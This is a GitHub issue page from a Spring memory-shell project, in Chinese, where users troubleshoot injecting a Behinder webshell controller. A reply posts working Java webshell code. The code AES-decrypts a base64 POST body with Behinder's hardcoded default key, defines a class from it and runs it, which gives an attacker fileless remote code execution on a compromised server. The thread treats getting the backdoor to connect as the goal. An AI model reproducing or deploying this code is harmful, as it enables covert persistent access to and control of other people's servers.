memShell icon indicating copy to clipboard operation
memShell copied to clipboard

spring memshell 中写入冰蝎controller时,request.getReader().readLine()始终是null

Open Libraggbond opened this issue 5 years ago • 1 comments

你好,我在测试spring memshell 中写入冰蝎controller时,遇到request.getReader().readLine()始终是null的问题,请问您是怎么解决这个问题的。 已经解决了。

Libraggbond avatar Apr 18 '21 13:04 Libraggbond

我测试的时候也遇到了这个问题,然后修改之后成功连上了,下面是我的代码希望能帮助到您,同时感谢作者发布这么好的项目!

                if (request.getMethod().equals("POST")){
                    String k = "e45e329feb5d925b";
                    HttpSession session = ((HttpServletRequest)request).getSession();
                    Map obj = new HashMap();
                    obj.put("request", request);
                    obj.put("response", response);
                    obj.put("session", session);
                    session.putValue("u", k);
                    Cipher c = Cipher.getInstance("AES");
                    c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
                    new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())))
                            .newInstance().equals(obj);;
                }

KpLi0rn avatar Aug 16 '21 08:08 KpLi0rn